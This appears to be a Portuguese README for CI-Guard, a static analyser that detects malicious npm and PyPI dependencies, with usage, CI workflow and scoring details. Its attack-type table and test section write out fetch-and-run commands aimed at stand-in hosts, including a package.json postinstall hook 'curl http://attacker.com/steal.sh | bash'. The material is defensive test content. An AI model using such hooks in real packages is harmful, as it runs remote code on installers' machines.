Ferramenta de análise estática que detecta dependências maliciosas em pipelines CI/CD usando correspondência de padrões e análise AST, com um sistema de pontuação de risco semafórico e verificação opcional em sandbox Docker.
Uma ferramenta de análise estática para detectar dependências maliciosas em pipelines CI/CD antes de serem mescladas ao seu código.
Autor: Otsmane Ahmed
Status: Protótipo de Pesquisa v1.0
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
# 2. Scan a package directory
python3 main_guard.py /path/to/package
A ferramenta exibirá um veredito: SAFE, SUSPICIOUS ou BLOCKED.
Se você baixou um pacote do npm ou PyPI e quer verificar se é seguro:
# NPM package
npm pack suspicious-package
tar -xzf suspicious-package-*.tgz
python3 main_guard.py ./package
# Python package
pip download untrusted-pkg --no-deps
tar -xzf untrusted-pkg-*.tar.gz
python3 main_guard.py ./untrusted-pkg-1.0.0
Verifique pacotes que já estão instalados no seu projeto:
# Scan all npm packages
python3 main_guard.py ./node_modules
# Scan a specific Python package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests
Nota: Escanear diretórios grandes como node_modules levará mais tempo. Para resultados mais rápidos, escaneie pacotes individuais.
Exemplo de workflow do GitHub Actions:
name: Security Scan
on: [pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Setup Python
uses: actions/setup-python@v4
with:
python-version: '3.10'
- name: Install CI-Guard
run: |
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
pip install -r requirements.txt
- name: Scan Dependencies
run: |
cd ci-supplychain-guard
python3 main_guard.py ../your-project-directory
O pipeline falhará (código de saída 1) se código malicioso for detectado.
$ python3 main_guard.py ./clean-package
Scanning target: ./clean-package
Running static analysis...
Static Risk Score: 0/100
Verdict: SAFE
Nenhum padrão malicioso detectado.
$ python3 main_guard.py ./evil-package
Scanning target: ./evil-package
Running static analysis...
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)
Padrões perigosos detectados (ex.: injeção de shell, roubo de credenciais). Não instale este pacote.
Pacotes com pontuação 10 ou superior são automaticamente bloqueados.
$ python3 main_guard.py ./suspicious-package
Scanning target: ./suspicious-package
Running static analysis...
Static Risk Score: 6/100
Verdict: SUSPICIOUS (Score 6). Initiating sandbox...
Alguns padrões preocupantes encontrados. Se o Docker estiver em execução, o pacote será testado em um sandbox isolado para verificação. Recomenda-se revisão manual.
| Tipo de Ataque | Exemplo | Status |
|---|---|---|
| Injeção de Shell | curl evil.com | bash | Detectado |
| Roubo de Credenciais | Leitura de process.env e envio para servidor externo | Detectado |
| Ofuscação de Código | eval(atob('base64...')) | Detectado |
| Scripts de Instalação Maliciosos | Hooks postinstall do NPM | Detectado |
| Arquivos Binários | .exe, .dll em pacotes | Detectado |
| Typosquatting | Nomes semelhantes a pacotes populares | Verificação manual necessária |
Você pode testar o CI-Guard criando um pacote malicioso de exemplo:
# Create test directory
mkdir ~/test-malicious
cd ~/test-malicious
# Create package.json with malicious postinstall hook
cat > package.json << 'EOF'
{
"name": "evil-package",
"version": "1.0.0",
"scripts": {
"postinstall": "curl http://attacker.com/steal.sh | bash"
}
}
EOF
# Scan it
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicious
Saída esperada:
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)
| Ecossistema | Pacotes Testados | Taxa de Detecção |
|---|---|---|
| NPM | 15,059 | 89.6% |
| PyPI | 2,257 | 82.2% |
Tempo médio de escaneamento: 1-3 segundos por pacote (apenas análise estática)
Posso escanear pacotes que já estão instalados?
Sim. Aponte o CI-Guard para o diretório node_modules ou site-packages do Python:
python3 main_guard.py ./node_modules/some-package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests
E se um pacote legítimo for sinalizado?
O CI-Guard peca por excesso de cautela. Se você confia em um pacote sinalizado:
analyzer/static_scanner.pyFunciona no Windows e macOS?
Sim. Python e Docker são multiplataforma.
Preciso ter o Docker instalado?
O Docker é necessário apenas para pacotes com pontuação 4-9 (suspeitos). A maioria dos pacotes é claramente segura (0-3) ou claramente maliciosa (10+).
O CI-Guard usa um sistema de 'Semáforo' de três níveis:
Métodos de detecção:
Pull requests são bem-vindos. Para adicionar uma nova regra de detecção:
Edite analyzer/static_scanner.py e adicione à lista RULES:
{
"id": "SA-XXX",
"name": "Rule Name",
"pattern": r"regex_pattern",
"weight": 8 # Score contribution (1-10)
}
Licença MIT - veja o arquivo LICENSE para detalhes.
Otsmane Ahmed - GitHub